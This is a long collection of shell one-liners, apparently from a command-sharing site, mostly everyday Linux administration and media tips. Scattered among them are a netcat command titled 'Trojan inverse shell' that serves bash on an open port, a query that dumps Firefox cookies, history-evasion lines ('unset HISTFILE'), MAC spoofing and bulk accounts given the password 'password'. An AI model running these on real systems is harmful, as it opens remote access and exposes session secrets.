# Signals list by NUMBER and NAME
kill -l
# Upload images to omploader.org from the command line.
ompload() { curl -# -F file1=@"$1" http://ompldr.org/upload|awk '/Info:|File:|Thumbnail:|BBCode:/{gsub(/<[^<]*?\/?>/,"");$1=$1;print}';}
# Convert a bunch of HTML files from ISO-8859-1 to UTF-8 file encoding in a fold
er and all sub-foldersfor x in `find . -name '*.html'` ; do iconv -f ISO-8859-1 -t UTF-8 $x > "$x.utf8"; rm $x; mv "$x.utf8" $x; done
# Record audio and video from webcam using mencoder
mencoder tv:// -tv driver=v4l2:width=800:height=600:device=/dev/video0:fps=30:outfmt=yuy2:forceaudio:alsa:adevice=hw.2,0 -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=1800 -ffourcc xvid -oac mp3lame -lameopts cbr=128 -o output.avi
# List your MACs address
ifconfig eth0 | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}'
# Create an SSH connection (reverse tunnel) through your firewall.
ssh -R 2001:localhost:22 [username]@[remote server ip]
# find the 10 latest (modified) files
ls -1t | head -n10
# Check if network cable is plugged in and working correctly
mii-tool eth0
# find the biggest files recursively, no matter how many
find . -type f -printf '%20s %p\n' | sort -n | cut -b22- | tr '\n' '\000' | xargs -0 ls -laSr
# Generate list of words and their frequencies in a text file.
tr A-Z a-z | tr -cs a-z '\n' | sort | uniq -c
# (Debian/Ubuntu) Discover what package a file belongs to
dlocate /path/to/file
# Make the "tree" command pretty and useful by default
alias tree="tree -CAFa -I 'CVS|*.*.package|.svn|.git' --dirsfirst"
# Prevent shell autologout
unset TMOUT
# Getting information about model no. of computer
dmidecode | grep -i prod
# Find pages returning 404 errors in apache logs
awk '$9 == 404 {print $7}' access_log | uniq -c | sort -rn | head
# get a random command
ls /usr/bin | shuf -n 1
# Who needs pipes?
B <<< $(A)
# Remove all HTML tags from a file
sed "s/<[^>]\+>//g" file
# combine `mkdir foo && cd foo` into a single function `mcd foo`
function mcd() { [ -n "$1" ] && mkdir -p "$@" && cd "$1"; }
# Remove today's Debian installed packages
grep -e `date +%Y-%m-%d` /var/log/dpkg.log | awk '/install / {print $4}' | uniq | xargs apt-get -y remove
# Stream YouTube URL directly to mplayer.
ID=52DnUo6wJto;mplayer -fs $(echo "http://youtube.com/get_video.php?&video_id=$ID$(wget -qO - 'http://youtube.com/watch?v='$ID | perl -ne 'print $1."&asv=" if /^.*(&t=.*?)&.*$/; print "&fmt=".$1 if /^.*&fmt_map=(22).*$/')")
# Undo
[Ctrl+_]
# vimdiff local and remote files via ssh
vimdiff /path/to/file scp://remotehost//path/to/file
# Regex to remove HTML-Tags from a file
sed -e :a -e 's/<[^>]*>//g;/</N;//ba' index.html
# Use bash history with process substitution
<(!!)
# CPU architecture details
lscpu
# Find out my Linux distribution name and version
lsb_release -a
# Display the history and optionally grep
h() { if [ -z "$1" ]; then history; else history | grep "$@"; fi; }
# Test file system performance
bonnie++ -n 0 -u 0 -r <physical RAM> -s <2 x physical ram> -f -b -d <mounted disck>
# Get absolut path to your bash-script
script_path=$(cd $(dirname $0);pwd)
# View and review the system process tree.
pstree -Gap | less -r
# Look for English words in /dev/urandom
head -100000 /dev/urandom | strings > temp.txt && for w in $(cat webster-dictionary.txt); do if [ ${#w} -gt 3 ]; then grep -io $w temp.txt; fi; done
# Search $PATH for a command or something similar
find ${PATH//:/ } -name \*bash\*
# nagios wrapper for any script/cron etc
CMD="${1}"; LOG="${2}"; N_HOST="${3}"; N_SERVICE="${4}"; ${CMD} >${LOG} 2>&1; EXITSTAT=${?}; OUTPUT="$(tail -1 ${LOG})";echo "${HOSTNAME}:${N_SERVICE}:${EXITSTAT}:${OUTPUT}" | send_nsca -H ${N_HOST} -d : -c /etc/nagios/send_nsca.cfg >/dev/null 2>&1
# create directory and set owner/group/mode in one shot
install -o user -g group -m 0700 -d /path/to/newdir
# Quickly add user accounts to the system and force a password change on first l
oginfor name in larry moe schemp; do useradd $name; echo 'password' | passwd --stdin $name; chage -d 0 $name; done
# To Stop or Start (Restart) a Windows service from a Linux machine
net rpc -I indirizzoip -U nomeutente%password servizio {stop|start} nomedelservizio
# Show apps that use internet connection at the moment. (Multi-Language)
netstat -lantp | grep -i stab | awk -F/ '{print $2}' | sort | uniq
# aptitude easter eggs
aptitude moo
# mplayer webcam window for screencasts
mplayer -cache 128 -tv driver=v4l2:width=176:height=177 -vo xv tv:// -noborder -geometry "95%:93%" -ontop
# Get the weather forecast for the next 24 to 48 for your location.
weather(){ curl -s "http://api.wunderground.com/auto/wui/geo/ForecastXML/index.xml?query=${@:-<YOURZIPORLOCATION>}"|perl -ne '/<title>([^<]+)/&&printf "%s: ",$1;/<fcttext>([^<]+)/&&print $1,"\n"';}
# split a multi-page PDF into separate files
pdftk in.pdf burst
# Using NMAP to check if a port is open or close
nmap -oG - -T4 -p22 -v 192.168.0.254 | grep ssh
# Remove everything except that file
( shopt -s extglob; rm !(<PATTERN>) )
# Unix commandline history substitution like ^foo^bar BUT for multiple replaceme
nts!!:gs/Original/New/
# Look for English words in /dev/urandom
head -100000 /dev/urandom | strings|tr '[A-Z]' '[a-z]'|sort >temp.txt && wget -q http://www.mavi1.org/web_security/wordlists/webster-dictionary.txt -O-|tr '[A-Z]' '[a-z]'|sort >temp2.txt&&comm -12 temp.txt temp2.txt
# Download from Rapidshare Premium using wget - Part 2
wget -c -t 1 --load-cookies ~/.cookies/rapidshare <URL>
# Change string in many files at once and more.
find . -type f -exec grep -l XXX {} \;|tee /tmp/fileschanged|xargs perl -pi.bak -e 's/XXX/YYY/g'
# Using ASCII Art output on MPlayer
mplayer -vo aa <video file>
# See non printable caracters like tabulations, CRLF, LF line terminators ( colo
red )od -c <FILE> | grep --color '\\.'
# cut audio file
ffmpeg -ss 00:00:30 -t 00:02:58 -i input.mp3 -acodec copy ouput.mp3
# a find and replace within text-based files, to locate and rewrite text en mass
.find . -name "*.txt" | xargs perl -pi -e 's/old/new/g'
# quickly backup or copy a file with bash
cp -bfS.bak filename filename
# Convert files from DOS line endings to UNIX line endings
fromdos *
# Generate random passwords (from which you may select "memorable" ones)
pwgen
# Let your computer lull you to sleep
echo {1..199}" sheep," | espeak -v english -s 80
# Empty a file
:> file
# Sort specific lines while editing within vi
:33,61 !sort
# Does a full update and cleaning in one line
sudo apt-get update && sudo apt-get upgrade && sudo apt-get autoclean && sudo apt-get autoremove
# Releases Firefox of a still running message
rm ~/.mozilla/firefox/<profile_dir>/.parentlock
# Check which files are opened by Firefox then sort by largest size.
FFPID=$(pidof firefox-bin) && lsof -p $FFPID | awk '{ if($7>0) print ($7/1024/1024)" MB -- "$9; }' | grep ".mozilla" | sort -rn
# bash pause command
read -sn1 -p "Press any key to continue..."; echo
# Generate a random left-hand password
</dev/urandom tr -dc '12345!@#$%qwertQWERTasdfgASDFGzxcvbZXCVB' | head -c8; echo ""
# Smart renaming
ls | sed -n -r 's/banana_(.*)_([0-9]*).asc/mv & banana_\2_\1.asc/gp' | sh
# Delete all but latest file in a directory
ls -pt1 | sed '/.*\//d' | sed 1d | xargs rm
# insert ip range using vim
:for i in range(1,255) | .put='192.168.0.'.i | endfor
# Monitor a file with tail with timestamps added
tail -f file | awk '{now=strftime("%F %T%z\t");sub(/^/, now);print}'
# Upgrade all perl modules via CPAN
cpan -r
# Save man pages to pdf
man -t man | ps2pdf - > man.pdf
# Transfer large files/directories with no overhead over the network
ssh user@host "cd targetdir; tar cfp - *" | dd of=file.tar
# Display ncurses based network monitor
nload -u m eth0
# Watch the progress of 'dd'
dd if=/dev/zero | pv | dd of=/dev/null
# simulated text generator
tr -dc a-z0-9 </dev/urandom | tr 0-8 \ | tr 9 \\n | sed 's/^[ \t]*//' | fmt -u
# Summarize Apache Extended server-status to show longest running requests
links --dump 1 http://localhost/server-status|grep ^[0-9]|awk 'BEGIN {print "Seconds, PID, State, IP, Domain, TYPE, URL\n--"} $4 !~ /[GCRK_.]/ {print $6, $2, $4, $11, $12, $13 " " $14|"sort -n"}'
# Show a curses based menu selector
whiptail --checklist "Simple checkbox menu" 11 35 5 tag item status repeat tags 1
# Stop All Wine Apps and Processes
wineserver -k
# Copy your SSH public key on a remote machine for passwordless login.
cat ~/.ssh/*.pub | ssh user@remote-system 'umask 077; cat >>.ssh/authorized_keys'
# Renaming a file without overwiting an existing file name
mv -b old_file_name new_and_already_existent_file_name
# Get Futurama quotations from slashdot.org servers
echo -e "HEAD / HTTP/1.1\nHost: slashdot.org\n\n" | nc slashdot.org 80 | egrep "Bender|Fry" | sed "s/X-//"
# Convert file type to unix utf-8
ex some_file "+set ff=unix fileencoding=utf-8" "+x"
# create disk copy over the net without temp files
SOURCE: dd if=/dev/sda bs=16065b | netcat ip-target 1234 TARGET: netcat -l -p 1234 | dd of=/dev/mapper/laptop bs=16065b STATS on target: watch -n60 -- kill -USR1 $(pgrep dd)
# take execution time of several commands
time { <command1> ; <command2> ; <command...> ; }
# Remove invalid key from the known_hosts file for the IP address of a host
ssh-keygen -R `host hostname | cut -d " " -f 4`
# Google Spell Checker
spellcheck(){ typeset y=$@;curl -sd "<spellrequest><text>$y</text></spellrequest>" https://www.google.com/tbproxy/spell|sed -n '/s="[0-9]"/{s/<[^>]*>/ /g;s/\t/ /g;s/ *\(.*\)/Suggestions: \1\n/g;p}'|tee >(grep -Eq '.*'||echo -e "OK");}
# How many files in the current directory ?
find . -maxdepth 1 -type f | wc -l
# Compress excutable files in place.
gzexe name ...
# 'Fix' a typescript file created by the 'script' program to remove control char
acterscat typescript | perl -pe 's/\e([^\[\]]|\[.*?[a-zA-Z]|\].*?\a)//g' | col -b > typescript-processed
# Show the number of current httpd processes
pgrep -c httpd
# ionice limits process I/O, to keep it from swamping the system (Linux)
ionice -c3 find /
# Update zone file Serial numbers
sed -i 's/20[0-1][0-9]\{7\}/'`date +%Y%m%d%I`'/g' *.db
# Simplest way to get size (in bytes) of a file
du -b filename
# Terminal redirection
script -f /dev/pts/3
# Find all dot files and directories
echo .*
# do 'foo' until it exits successfully, pausing in between crashes
until foo some args; do echo "crashed: $? respawning..." >&2; sleep 10; done
# Show a passive popup in KDE
kdialog --passivepopup <text> <timeout>
# View Processeses like a fu, fu
command ps -Hacl -F S -A f
# Get the total length of all videos in the current dir in H:m:s
mplayer -vo dummy -ao dummy -identify * 2>&1 | grep ID_LENGTH | sed 's/.*=\([0-9]*\)/\1/' | xargs echo | sed 's/ /+/g' | bc | awk 'S=$1; {printf "%dh:%dm:%ds\n",S/(60*60),S%(60*60)/60,S%60}'
# Replace duplicate files by hardlinks
fdupes -r -1 path | while read line; do j="0"; for file in ${line[*]}; do if [ "$j" == "0" ]; then j="1"; else ln -f ${line// .*/} $file; fi; done; done
# Convert a flv video file to avi using mencoder
mencoder your_video.flv -oac mp3lame -ovc xvid -lameopts preset=standard:fast -xvidencopts pass=1 -o your_video.avi
# 32 bits or 64 bits?
sudo lshw -C cpu|grep width
# String to binary
perl -nle 'printf "%0*v8b\n"," ",$_;'
# Find status of all symlinks
symlinks -r $(pwd)
# How to copy CD/DVD into hard disk (.iso)
dd if=/dev/cdrom of=whatever.iso
# use vi key bindings at the command line
set -o vi
# Trojan inverse shell
nc -l -p 2000 -e /bin/bash
# Load average + API google chart
limite="5";load5=$(awk '{print $1}' /proc/loadavg);echo "http://chart.apis.google.com/chart?chxr=0,0,5&chxt=y&chs=700x240&cht=gm&chds=0,"$limite"&chd=t:"$load5"&chl="$load5"&chtt=$(hostname)+load+average"
# Calculate md5 sums for every file in a directory tree
find . -type f -exec md5sum {} \; > sum.md5
# Get yesterday's date or a previous time
date -d '1 day ago'; date -d '11 hour ago'; date -d '2 hour ago - 3 minute'; date -d '16 hour'
# Search through files, ignoring .svn
find . -not \( -name .svn -prune \) -type f -print0 | xargs --null grep <searchTerm>
# rapidshare download script in 200 characters
u=`curl -d 'dl.start=Free' $(curl $1|perl -wpi -e 's/^.*"(http:\/\/rs.*)" method.*$/$1/'|egrep '^http'|head -n1)|grep "Level(3) \#2"|perl -wpi -e 's/^.*(http:\/\/rs[^\\\\]*).*$/$1/'`;sleep 60;wget $u
# Print a row of 50 hyphens
seq -s" " -50 -1 | tr -dc -
# Replace Solaris vmstat numbers with human readable format
vmstat 1 10 | /usr/xpg4/bin/awk -f ph-vmstat.awk
# Show top SVN committers for the last month
svn log -r {`date +"%Y-%m-%d" -d "1 month ago"`}:HEAD|grep '^r[0-9]' |cut -d\| -f2|sort|uniq -c
# Auto Rotate Cube (compiz)
wmctrl -o 2560,0 ;sleep 2 ; echo "FIRE 001" | osd_cat -o 470 -s 8 -c red -d 10 -f -*-bitstream\ vera\ sans-*-*-*--250-*-*-*-*-*-*-* ; sleep 1; wmctrl -o 0,0
# Do a command but skip recording it in the bash command history
_cd ~/nsfw; mplayer midget_donkey.mpeg
# Know which modules are loaded on an Apache server
apache2 -t -D DUMP_MODULES
# Clear filesystem memory cache
sync && echo 3 | sudo tee /proc/sys/vm/drop_caches
# Changes standard mysql client output to 'less'.
echo -e "[mysql]\npager=less -niSFX" >> ~/.my.cnf
# Prepare a commandlinefu command.
goclf() { type "$1" | sed '1d' | tr -d "\n" | tr -s '[:space:]'; echo }
# Expand shortened URLs
expandurl() { curl -sIL $1 | grep ^Location; }
# List files above a given threshold
find . -type f -size +25000k -exec ls -lh {} \; | awk '{ print $8 ": " $5 }'
# concat multiple videos into one (and add an audio track)
cat frame/*.mpeg | ffmpeg -i $ID.mp3 -i - -f dvd -y track/$ID.mpg 2>/dev/null
# convert .bin / .cue into .iso image
bchunk IMAGE.bin IMAGE.cue IMAGE.iso
# Empty a file
truncate -s0 file
# tail: watch a filelog
tail -n 50 -f /var/log/apache2/access_log /var/log/apache2/error_log
# Hiding password while reading it from keyboard
save_state=$(stty -g);echo -n "Password: ";stty -echo;read password;stty "$save_state";echo "";echo "You inserted $password as password"
# convert a web page into a pdf
touch $2;firefox -print $1 -printmode PDF -printfile $2
# Show a Command's Short Description
whatis [command-name]
# Backup all MySQL Databases to individual files
mysql -e 'show databases' | sed -n '2,$p' | xargs -I DB 'mysqldump DB > DB.sql'
# Stream audio over ssh
ssh [user]@[address] "mpg321 -" < [file].mp3
# List installed deb packages by size
dpkg-query -Wf '${Installed-Size}\t${Package}\n' | sort -n
# Show the PATH, one directory per line
printf ${PATH//:/\\n}
# Changing tha mac adresse
sudo ifconfig eth0 hw ether 00:01:02:03:04:05
# gpg decrypt a file
gpg --output foo.txt --decrypt foo.txt.pgp
# Google URL shortener
curl -s -d'&url=URL' http://goo.gl/api/url | sed -e 's/{"short_url":"//' -e 's/","added_to_history":false}/\n/'
# Print IP of any interface. Useful for scripts.
ip route show dev ppp0 | awk '{ print $7 }'
# Synchronize both your system clock and hardware clock and calculate/adjust tim
e driftntpdate pool.ntp.org && hwclock --systohc && hwclock --adjust
# Show GCC-generated optimization commands when using the "-march=native" or "-m
tune=native" switches for compilation.cc -march=native -E -v - </dev/null 2>&1 | grep cc1
# Add a function you've defined to .bashrc
addfunction () { declare -f $1 >> ~/.bashrc ; }
# Create a single-use TCP proxy with debug output to stderr
socat -v tcp4-l:<port> tcp4:<host>:<port>
# Display which distro is installed
cat /etc/*release
# Retrieve the size of a file on a server
wget --spider $URL 2>&1 | awk '/Length/ {print $2}'
# Show line numbers in a text file
cat -n file.txt
# create a .avi with many .jpg
mencoder "mf://*.jpg" -mf fps=8 -o ./video.avi -ovc lavc
# run a command from within vi without exiting
:! <bash_command>
# add the result of a command into vi
:r! <bash_command>
# Convert .flv to .3gp
ffmpeg -i file.flv -r 15 -b 128k -s qcif -acodec amr_nb -ar 8000 -ac 1 -ab 13 -f 3gp -y out.3gp
# Copy a file over SSH without SCP
ssh HOST cat < LOCALFILE ">" REMOTEFILE
# let the cow suggest some commit messages for you
while true; do lynx --dump http://whatthecommit.com/ | head -n 1 | cowsay; sleep 2; done
# Have subversion ignore a file pattern in a directory
svn propset svn:ignore "*txt" log/
# find and delete empty directories recursively
find . -depth -type d -empty -exec rmdir -v {} +
# Install a LAMP server in a Debian based distribution
sudo tasksel install lamp-server
# Setup an ssh tunnel
ssf -f -N -L 4321:home.network.com:25 user@home.network.com
# get cookies from firefox
echo ".mode tabs select host, case when host glob '.*' then 'TRUE' else 'FALSE' end, path, case when isSecure then 'TRUE' else 'FALSE' end, expiry, name, value from moz_cookies;" | sqlite3 ~/.mozilla/firefox/*.default/cookies.sqlite
# See most used commands
history|awk '{print $2}'|awk 'BEGIN {FS="|"} {print $1}'|sort|uniq -c|sort -r
# check the status of 'dd' in progress (OS X)
killall -INFO dd
# List your largest installed packages (on Debian/Ubuntu)
dpigs
# Find the location of the currently loaded php.ini file
php -i | grep php.ini
# Highlight network TX, RX information change
watch -n 2 -d '/sbin/ifconfig eth0'
# Kill all processes beloging to a single user.
kill -9 `ps -u <username> -o "pid="`
# Remove empty directories
find . -type d -empty -delete
# Using numsum to sum a column of numbers.
numsum count.txt
# Capture video of a linux desktop
ffmpeg -f x11grab -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -r 25 -i :0.0 -sameq /tmp/out.mpg > /root/howto/capture_screen_video_ffmpeg
# What is my public IP-address?
dig @208.67.222.222 myip.opendns.com
# grep binary (hexadecimal) patterns
grep -P "\x05\x00\xc0" mybinaryfile
# set your ssd disk as a non-rotating medium
sudo echo 0 > /sys/block/sdb/queue/rotational
# Set a Reminder for yourself via the notification system
sleep 6s && notify-send -t 10000 -u critical "remember to think" &
# Follow the flow of a log file
tailf file.log
# Do some Perl learning...
podwebserver& sleep 2; elinks 'http://127.0.0.1:8020'
# Share your terminal session (remotely or whatever)
screen -x
# Always tail/edit/grep the latest file in a directory of timestamped files
tail -f /path/to/timestamped/files/file-*(om[1])
# Match a URL
egrep 'https?://([[:alpha:]]([-[:alnum:]]+[[:alnum:]])*\.)+[[:alpha:]]{2,3}(:\d+)?(/([-\w/_\.]*(\?\S+)?)?)?'
# Ignore a directory in SVN, permanently
svn propset svn:ignore "*" tool/templates_c; svn commit -m "Ignoring tool/templates_c"
# Erase a word
<CTRL+w>
# Join lines
tr "\n" " " < file
# View the newest xkcd comic.
eog `curl -s http://xkcd.com/ | sed -n 's/<h3>Image URL.*: \(.*\)<\/h3>/\1/p'`
# Rsync two directories with filtered extensions
rsync -rv --include '*/' --include '*.txt' --exclude '*' srcDir/ desDir/
# colorize your svn diff
svn diff | vim -
# swap stdout and stderr
$command 3>&1 1>&2 2>&3
# List dot-files and dirs, but not . or ..
ls -A
# Read a keypress without echoing it
stty cbreak -echo; KEY=$(dd bs=1 count=1 2>/dev/null); stty -cbreak echo
# Don't spam root. Log your cronjob output to syslog
*/5 * * * * root /usr/local/nagios/sbin/nsca_check_disk 2>&1 |/usr/bin/logger -t nsca_check_disk
# diff files while disregarding indentation and trailing white space
diff -b $file1 $file2 # GNU Tools
# enumerate with padding
echo {001..5}
# Jump to line X in file in Nano.
nano +X foo
# useful tail on /var/log to avoid old logs or/and gzipped files
tail -f *[!.1][!.gz]
# use mplayer to watch Apple Movie Trailer instead of quicktime player
mplayer -rtsp-stream-over-tcp -user-agent QuickTime/7.6.4 http://trailers.apple.com/movies/HDmovie-h720p.mov
# Pack up some files into a tarball on a remote server without writing to the lo
cal filesystemtar -czf - * | ssh example.com "cat > files.tar.gz"
# Batch rename extension of all files in a folder, in the example from .txt to .
mdmmv "*.txt" "#1.md"
# backup a directory in a timestamped tar.gz
tar -czvvf backup$(date "+%Y%m%d_%H%M%S").tar.gz /path/to/dir
# Count the number of characters in each line
awk '{count[length]++}END{for(i in count){printf("%d: %d\n", count[i], i)}}'
# Convert multiple files using avidemux
for i in `ls`;do avidemux --video-codec Xvid4 --load $i --save $i.mp4 --quit; done
# Unix alias for date command that lets you create timestamps in ISO 8601 format
alias timestamp='date "+%Y%m%dT%H%M%S"'
# send kernel log (dmesg) notifications to root via cron
(crontab -l; echo '* * * * * dmesg -c'; ) | crontab -
# Replicate a directory structure dropping the files
for x in `find /path/ -type d | cut -b bytesoffoldername-`; do mkdir -p newpath/$x; done
# Remotely sniff traffic and pass to snort
ssh root@pyramid \ "tcpdump -nn -i eth1 -w -" | snort -c /etc/snort/snort.conf -r -
# processes per user counter
ps aux |awk '{$1} {++P[$1]} END {for(a in P) if (a !="USER") print a,P[a]}'
# See how many % of your memory firefox is using
ps -o %mem= -C firefox-bin | sed -s 's/\..*/%/'
# Binary Clock
watch -n 1 'date "+obase=2; print %H,\":\",%M,\":\",%S" |bc'
# Installing True-Type fonts
ttmkfdir mkfontdir fc-cache /usr/share/fonts/miscttf
# Mount a partition from within a complete disk dump
INFILE=/path/to/your/backup.img; MOUNTPT=/mnt/foo; PARTITION=1; mount "$INFILE" "$MOUNTPT" -o loop,offset=$[ `/sbin/sfdisk -d "$INFILE" | grep "start=" | head -n $PARTITION | tail -n1 | sed 's/.*start=[ ]*//' | sed 's/,.*//'` * 512 ]
# Save your open windows to a file so they can be opened after you restart
wmctrl -l -p | while read line; do ps -o cmd= "$(echo "$line" | awk '$0=$3')"; done > ~/.windows
# Apply substitution only on the line following a marker
sed '/MARKER/{N;s/THIS/THAT/}'
# Quick case-insenstive partial filename search
alias lg='ls --color=always | grep --color=always -i'
# Print Memory Utilization Percentage For a specific process and it's children
TOTAL_RAM=`free | head -n 2 | tail -n 1 | awk '{ print $2 }'`; PROC_RSS=`ps axo rss,comm | grep [h]ttpd | awk '{ TOTAL += $1 } END { print TOTAL }'`; PROC_PCT=`echo "scale=4; ( $PROC_RSS/$TOTAL_RAM ) * 100" | bc`; echo "RAM Used by HTTP: $PROC_PCT%"
# View details of network activity, malicious or otherwise within a port range.
lsof -i :555-7000
# generate random password
openssl rand -base64 6
# Find files that are older than x days
find . -type f -mtime +7 -exec ls -l {} \;
# Converts a single FLAC file with associated cue file into multiple FLAC files
cuebreakpoints "$2" | shnsplit -o flac "$1"
# run a VirtualBox virtual machine without a gui
VBoxHeadless -s <name|uuid>
# Forward port 8888 to remote machine for SOCKS Proxy
ssh -D 8888 user@site.com
# Sync the date of one server to that of another.
sudo date -s "$(ssh user@server.com "date -u")"
# list processes with established tcp connections (without netstat)
lsof -i -n | grep ESTABLISHED
# List top ten files/directories sorted by size
du -sb *|sort -nr|head|awk '{print $2}'|xargs du -sh
# retab in vim, tab to space or space to tab, useful in python
:ret
# Convert images (jpg, png, ...) into a PDF
convert images*.* <my_pdf>.pdf
# Get the IP address of a machine. Just the IP, no junk.
/sbin/ifconfig -a | awk '/(cast)/ { print $2 }' | cut -d':' -f2 | head -1
# create missing md5 for all files in directory
find . ! -name \*.md5 -exec 'md5sum "{}" > "{}".md5' \;
# Replace all in last command
!!:gs/data/index/
# batch convert Nikon RAW (nef) images to JPG
ufraw-batch --out-type=jpeg --out-path=./jpg ./*.NEF
# Launch firefox on a remote linux server
ssh -fY user@REMOTESERVER firefox -no-remote
# Concating pdf files
pdftk inp1.pdf inp2.pdf inp3.pdf cat output out.pdf
# Add a Clock to Your CLI
export PS1="${PS1%\\\$*}"' \t \$ '
# Look for IPv4 address in files.
alias ip4grep "grep -E '([0-9]{1,3}\.){3}[0-9]{1,3}'"
# Watch Data Usage on eth0
watch ifconfig eth0
# Lists installed kernels
ls -1 /lib/modules
# Get all mac address
ip link show
# Produce a pseudo random password with given length in base 64
openssl rand -base64 <length>
# Change the window title of your xterm
echo "^[]0;My_Title_Goes _Here^G"
# Don't save commands in bash history (only for current session)
unset HISTFILE
# Create MySQL-Dump, copy db to other Server and upload the db.
mysqldump -uUserName -pPassword tudb | ssh root@rootsvr.com "mysql -uUserName -pPassword -h mysql.rootsvr.com YourDBName"
# Dump dvd from a different machine onto this one.
ssh user@machine_A dd if=/dev/dvd0 > dvddump.iso
# Insert a comment on command line for reminder
ls -alh #mycomment
# for too many arguments by *
echo *.log | xargs <command>
# Reboot as a different OS in Grub
echo "savedefault --default=2 --once" | grub --batch; sudo reboot
# Get the full path to a file
readlink -e /bin/ls
# 'hpc' in the box - starts a maximum of n compute commands modulo n controlled
in parallelc=0; n=8; while true; do r=`echo $RANDOM%5 |bc`; echo "sleep $r"; sleep $r& 2>&1 >/dev/null && ((c++)); [ `echo "$c%$n" | bc` -eq 0 ] && echo "$c waiting" && wait; done
# Simplified video file renaming
for f in *;do mplayer $f;read $n;mv $f $n;done
# determine if tcp port is open
lsof -i :22
# detach remote console for long running operations
dtach -c /tmp/wires-mc mc
# convert pdf to graphic file format (jpg , png , tiff ... )
convert sample.pdf sample.jpg
# split and combine different pages from different pdf's
pdftk A=chapters.pdf B=headings.pdf C=covers.pdf cat C1 B1 A1-7 B2 A8-10 C2 output book.pdf
# Convert HH:MM:SS into seconds
echo 00:29:36 | awk -F: '{print ($1*3600)+($2*60)+$3}'
# Comment out a line in a file
sed -i '19375 s/^/#/' file
# simple backup with rsync
0 10 * * * rsync -rau /[VIPdirectory] X.X.X.X:/backup/[VIPdirectory]
# find out how many days since given date
echo $((($(date +%s)-$(date +%s -d "march 1"))/86400))
# Determining the excat memory usages by certain PID
pmap -d <<pid>>
# Reset terminal that has been buggered by binary input or similar
stty sane
# Test speaker channels
speaker-test -D plug:surround51 -c 6 -l 1 -t wav
# Random play a mp3 file
mpg123 "`locate -r '\.mp3$'|awk '{a[NR]=$0}END{print a['"$RANDOM"' % NR]}'`"
# Save xkcd to a pdf with captions
curl -sL xkcd.com | grep '<img [^>]*/><br/>' | sed -r 's|<img src="(.*)" title="(.*)" alt="(.*)" /><br/>|\1\t\2\t\3|' > /tmp/a; curl -s $(cat /tmp/a | cut -f1) | convert - -gravity south -draw "text 0,0 \"$(cat /tmp/a | cut -f2)\"" pdf:- > xkcd.pdf
# Record output of any command using 'tee' at backend; mainly can be used to cap
ture the output of ssh from client side while connecting to a server.ssh user@server | tee logfilename
# Dump root ext3 fs over ssh
dump 0f - / | bzip -c9 | ssh user@host "cat > /home/user/root.dump.bz2"
# a simple bash one-liner to create php file and call php function
php -r 'echo str_rot13 ("Hello World");'
# Record live sound in Vorbis (eg for bootlegs or to take audio notes)
rec -c 2 -r 44100 -s -t wav - | oggenc -q 5 --raw --raw-chan=2 --raw-rate=44100 --raw-bits=16 - > MyLiveRecording.ogg
# Takes all file except file between !()
rm !(file_to_keep_undeleted)
# purge installed but unused linux headers, image, or modules
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' | xargs sudo apt-get -y purge
# Sort the current buffer in vi or vim.
:%sort
# List .log files open by a pid
lsof -p 1234 | grep -E "\.log$" | awk '{print $NF}'
# Testing php configuration
php -i
# Find default gateway
ip route | awk '/default/{print $3}'
# prints the parameter you used on the previous command
<alt+.>
# Remote copy directories and files through an SSH tunnel host
rsync -avz -e 'ssh -A sshproxy ssh' srcdir remhost:dest/path/
# Unix time to local time
date -R -d @1234567890
# Send a binary file as an attachment to an email
uuencode archive.tar.gz archive.tar.gz | mail -s "Emailing: archive.tar.gz" user@example.com
# List files
Esc-/ Esc-/
# Download Apple movie trailers
wget -U "QuickTime/7.6.2 (qtver=7.6.2;os=Windows NT 5.1Service Pack 3)" `echo http://movies.apple.com/movies/someHDmovie_720p.mov | sed 's/\([0-9][0-9]\)0p/h\10p/'`
# Edit the Last Changed File
vim $( ls -t | head -n1 )
# Remove all .svn folders
find . -depth -name .svn -type d -exec rm -fr {} \;
# Generate a random password 30 characters long
gpg --gen-random --armor 1 30
# Follow the most recently updated log files
ls -drt /var/log/* | tail -n5 | xargs sudo tail -n0 -f
# Get a regular updated list of zombies
watch "ps auxw | grep [d]efunct"
# RTFM function
rtfm() { help $@ || info $@ || man $@ || $BROWSER "http://www.google.com/search?q=$@"; }
# Update twitter via curl (and also set the "from" bit)
curl -u twitter-username -d status="Hello World, Twitter!" -d source="cURL" http://twitter.com/statuses/update.xml
# Test network speed without wasting disk
dd if=/dev/zero bs=4096 count=1048576 | ssh user@host.tld 'cat > /dev/null'
# Terminal Keyboard Shortcut list
echo -e "Terminal shortcut keys\n" && sed -e 's/\^/Ctrl+/g;s/M-/Shift+/g' <(stty -a 2>&1| sed -e 's/;/\n/g' | grep "\^" | tr -d ' ')
# Backup entire system through SSH
ssh -C USER@HOST tar -c --exclude /proc --exclude /sys / | tar -x
# Mount and umount iso files
function miso () { mkdir ~/ISO_CD && sudo mount -o loop "$@" ~/ISO_CD && cd ~/ISO_CD && ls; } function uiso () { cd ~ && sudo umount ~/ISO_CD && rm -r ~/ISO_CD; }
# View webcam output using mplayer
mplayer tv:// -tv driver=v4l2:width=640:height=480:device=/dev/video0:fps=30:outfmt=yuy2
# Insert a colon between every two digits
sed 's/\(..\)/\1:/g;s/:$//' mac_address_list
# Create date-based tgz of current dir, runs in the background, very very cool
alias tarred='( ( D=`builtin pwd`; F=$(date +$HOME/`sed "s,[/ ],#,g" <<< ${D/${HOME}/}`#-%F.tgz); tar --ignore-failed-read --transform "s,^${D%/*},`date +${D%/*}.%F`,S" -czPf "$"F "$D" &>/dev/null ) & )'
# Simplification of "sed 'your sed stuff here' file > file2 && mv file2 file"
sed -i 'your sed stuff here' file
# Purge configuration files of removed packages on debian based systems
aptitude purge '~c'
# New command with the last argument of the previous command.
command !$
# need ascii art pictures for you readme text ?
boxes -d dog or cowsay -f tux $M
# Update your OpenDNS network ip
wget -q --user=<username> --password=<password> 'https://updates.opendns.com/nic/update?hostname=your_opendns_hostname&myip=your_ip' -O -
# Remove all files except list
rm -rf !(@(file1|file2|...))
# To play a file at 1.5 times normal speed without increasing the pitch
mplayer -af scaletempo=scale=1.5 foo.mp3
# convert all flac files in a folder to mp3 files with a bitrate of 192 kbps
for f in *;do flac -cd $f |lame -b 192 - $f.mp3;done
